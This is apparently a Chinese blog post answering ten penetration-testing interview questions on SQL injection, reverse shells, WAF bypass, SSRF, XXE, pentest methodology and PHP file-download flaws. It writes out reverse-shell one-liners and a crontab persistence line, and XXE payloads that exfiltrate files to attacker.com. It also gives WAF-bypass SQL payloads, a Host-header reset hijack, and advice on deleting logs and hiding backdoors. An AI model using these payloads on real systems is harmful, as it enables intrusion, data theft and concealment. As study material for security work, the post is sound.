2025年渗透测试面试题总结-44(题目+回答)

安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

🔍 1. SQL注入类型与检测工具

📡 2. 关键服务简介与默认端口

⚡ 3. 逻辑漏洞类型(Top 5实战高频)

💻 4. Linux反弹Shell方法

️ 5. SQL注入Bypass WAF技巧

6. Python漏洞检测代码(SSRF检测)

📜 7. XXE原理与Blind XXE检测

🕵️ 8. 网站渗透测试思路(7步法)

🤖 9. Web扫描器爬虫的攻防视角

📂 10. PHP任意文件下载漏洞

1、常见的SQL注入类型有哪些?并写出sqlmap检测SQL注入的命令?SQLMAPAPI怎么使用
2、Mongodb、redis、websphere、rsync服务简介和默认运行端口
3、写出你知道的逻辑漏洞
4、列举Linux的反弹shell的一些方法
5、针对SQL注入,写出你所知道的Bypass WAF的可能的方式
6、写出任意一种漏洞检测代码,用python实现
7、简述XXE的基本原理,以及如何去检测或者判断Blind XXE的存在
8、简述针对一个网站的渗透测试思路
9、针对Web扫描器的爬虫,你怎么看
10、简述PHP中造成任意文件下载漏洞的常见函数,以及造成漏洞的原因
🔍 1. SQL注入类型与检测工具

常见SQL注入类型

  1. 联合查询注入UNION SELECT
  2. 报错注入(如extractvalue(1,concat(0x7e,version()))
  3. 布尔盲注(通过True/False页面差异推断)
  4. 时间盲注SLEEP(5)判断延迟)
  5. 堆叠查询注入;执行多语句,需特定驱动支持)

sqlmap命令

bashsqlmap -u "https://example.com/?id=1" \ --batch \ # 自动选择默认选项 --level 5 \ # 检测深度(含HTTP头注入) --risk 3 \ # 风险级别(允许危险操作) --dbs \ # 获取所有数据库 --os-shell # 尝试获取系统Shell 

SQLMap API使用流程

  1. 启动API服务sqlmapapi -s -H 127.0.0.1 -p 8775
  2. 创建任务
    bashcurl -X POST http://127.0.0.1:8775/task/new # 返回 {"taskid": "1a2b3c"} 
  3. 提交扫描
    bashcurl -X POST -d '{"url":"https://example.com/?id=1"}' \ http://127.0.0.1:8775/scan/1a2b3c/start 
  4. 获取结果
    bashcurl http://127.0.0.1:8775/scan/1a2b3c/log 

📡 2. 关键服务简介与默认端口
服务用途默认端口安全风险
MongoDBNoSQL文档数据库27017未授权访问导致数据泄露
Redis内存键值存储6379未授权写SSH密钥提权
WebSphereIBM Java应用服务器9080 (HTTP)
9043 (HTTPS)
反序列化漏洞(如WebSphere AS)
Rsync文件同步协议873未授权访问泄露敏感文件

:Redis默认无密码,MongoDB 3.6+默认绑定127.0.0.1,但仍需验证配置。


⚡ 3. 逻辑漏洞类型(Top 5实战高频)
  1. 越权访问
    • 水平越权:篡改用户ID访问他人数据(如/user?id=1000110002
    • 垂直越权:普通用户访问管理员接口(如伪装/admin/addUser请求)
  2. 支付逻辑漏洞
    • 前端修改商品价格({"price":0.01} → 实际支付0.01元)
    • 重复支付退款(多次请求退款接口)
  3. 验证码绕过
    • 空验证码(captcha=
    • 验证码复用(未后端校验时效性)
  4. 密码重置劫持
    • 修改Host头为攻击域名(Host: evil.com → 接收重置邮件)
    • 手机号遍历(爆破mobile=1380000XXXX参数)
  5. 条件竞争
    • 高并发请求优惠券发放接口(库存未锁)

💻 4. Linux反弹Shell方法
bash# 1. Bash原生(/dev/tcp) bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 # 2. Netcat传统版 nc -e /bin/sh 10.0.0.1 4444 # 3. Python单行 python3 -c 'import socket,os,pty; s=socket.socket();s.connect(("10.0.0.1",4444)); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn("/bin/sh")' # 4. 无Netcat时用管道 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | sh -i 2>&1 | nc 10.0.0.1 4444 >/tmp/f # 5. Crontab定时任务(绕过防火墙) echo "* * * * * root bash -c 'exec 9<>/dev/tcp/10.0.0.1/4444;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i'" >> /etc/crontab 

️ 5. SQL注入Bypass WAF技巧
绕过类型示例防御原理破坏点
空白符替换SELECT/**/1SELECT%0a1WAF正则匹配\s+SELECT
函数拆解CONCAT(1,2)CONCAT(1) , 2)函数名完整性检测
字符编码UNION%55%4E%49%4F%4E解码层缺失
注释干扰/*!50000SELECT*/ 1MySQL版本特性
参数污染?id=1&id=2 UNION SELECT 1,2,3--参数解析优先级差异

实战工具:sqlmap的--tamper脚本(如charencode.pyspace2comment.py


6. Python漏洞检测代码(SSRF检测)
pythonimport requests def check_ssrf(url, test_url="http://169.254.169.254"): try: # 测试AWS元数据地址(经典SSRF目标) r = requests.get(f"{url}?image={test_url}", timeout=5) if r.status_code == 200 and "metadata" in r.text: return f"🔥 SSRF漏洞存在!可访问内部资源: {test_url}" # 检测DNS重绑定(需自建DNS服务) elif "rebind.evil.com" in test_url and "敏感数据" in r.text: return "🎯 Blind SSRF via DNS Rebinding!" except requests.exceptions.ConnectionError: return "❌ 连接失败(可能被拦截)" return "✅ 未检测到SSRF漏洞" # 使用示例 print(check_ssrf("http://example.com/upload")) 

原理:利用服务器发起对内部网络或元数据服务的请求验证响应特征。


📜 7. XXE原理与Blind XXE检测

基本原理

xml<!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> <!-- 读取文件 --> <!ENTITY dtd SYSTEM "http://attacker.com/evil.dtd"> <!-- 外部实体 --> ]> <data>&xxe;</data> 

Blind XXE检测方法

  1. DNS外带探测(需控制DNS日志)
    xml<!ENTITY % payload SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> <!ENTITY % dtd "<!ENTITY &#x25; exfil SYSTEM 'http://${payload}.attacker.com/'>"> %dtd; %exfil; 
  2. 错误回显构造(触发报错包含数据)
    xml<!ENTITY % file SYSTEM "file:///secret.txt"> <!ENTITY % err "<!ENTITY content SYSTEM 'file:///nonexistent/%file;'>"> %err; 
  3. 延时检测(观察响应时间差异)
    xml<!ENTITY % slow SYSTEM "http://attacker.com/slow?delay=5000"> %slow; 

🕵️ 8. 网站渗透测试思路(7步法)
mermaidgraph LR A[信息收集] --> B[漏洞扫描] B --> C[手动验证] C --> D[漏洞利用] D --> E[权限提升] E --> F[内网渗透] F --> G[报告撰写] 
  1. 信息收集
    • 子域名爆破(amass)、端口扫描(nmap -sV
    • CMS指纹识别(Wappalyzer)、Git源码泄露(gitdumper.sh
  2. 漏洞扫描
    • 自动扫描器(AWVSNessus)结合手动测试(Burp Suite)
  3. 业务逻辑测试
    • 支付订单篡改、验证码绕过、接口未授权访问
  4. 突破边界
    • 上传Webshell、SQL注入获取管理员密码
  5. 横向移动
    • 密码复用测试、Kerberoasting攻击(AD环境)
  6. 数据提取
    • 数据库dump、敏感文件(/etc/shadow)下载
  7. 痕迹清理
    • 删除日志、隐藏后门(如隐藏内核模块)

🤖 9. Web扫描器爬虫的攻防视角

优势与必要性

  • 效率提升:自动化覆盖常规路径(如API端点、隐藏目录)
  • 漏洞关联:结合被动扫描识别XSS/SQLi(如Burp被动模式)
  • ✅ 动态渲染支持:Headless Chrome处理SPA(单页应用)

局限性

  • 逻辑漏洞盲区:无法识别业务流程(如多步骤订单提交)
  • 反爬绕过弱:静态UA/IP池易被WAF识别(需动态指纹切换)
  • 认证依赖:复杂登录流程(OAuth/2FA)需人工干预

未来演进

  • AI增强:LLM理解业务语义(如识别“支付”按钮上下文)
  • 行为模拟:Selenium脚本录制真实用户操作流
  • WAF对抗:GAN生成绕过流量(模拟合法HTTP语法)

📂 10. PHP任意文件下载漏洞

危险函数

phpreadfile($_GET['file']); // 直接读取输出 file_get_contents($user_path); // 返回文件内容 fopen($filename, 'r') + fpassthru(); // 流式读取 

漏洞成因

  1. 路径遍历未过滤../../../etc/passwd
  2. 硬编码路径拼接
    php$base = "/var/www/downloads/"; $file = $base . $_GET['filename']; // 用户可控filename 
  3. 后缀黑名单绕过
    • .php.php%00.jpg (截断攻击)
    • .pdf/proc/self/environ(Linux伪文件)

加固方案

php// 方案1:白名单校验 $allowed = ['report.pdf', 'guide.docx']; if (!in_array(basename($_GET['file']), $allowed)) die("非法请求"); // 方案2:路径规范化校验 $real_path = realpath("./downloads/" . $_GET['file']); if (strpos($real_path, '/var/www/downloads/') !== 0) die("路径越界"); 

附:渗透测试知识框架

攻防本质 = 攻击面发现 + 漏洞利用链构造 + 环境绕过  
核心能力 = 工具深度(sqlmap) + 手动验证(逻辑洞) + 代码审计(PHP/Java)  
演进方向 = AI辅助决策 + 云原生渗透(K8s) + 硬件层攻击(Intel CET)  
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值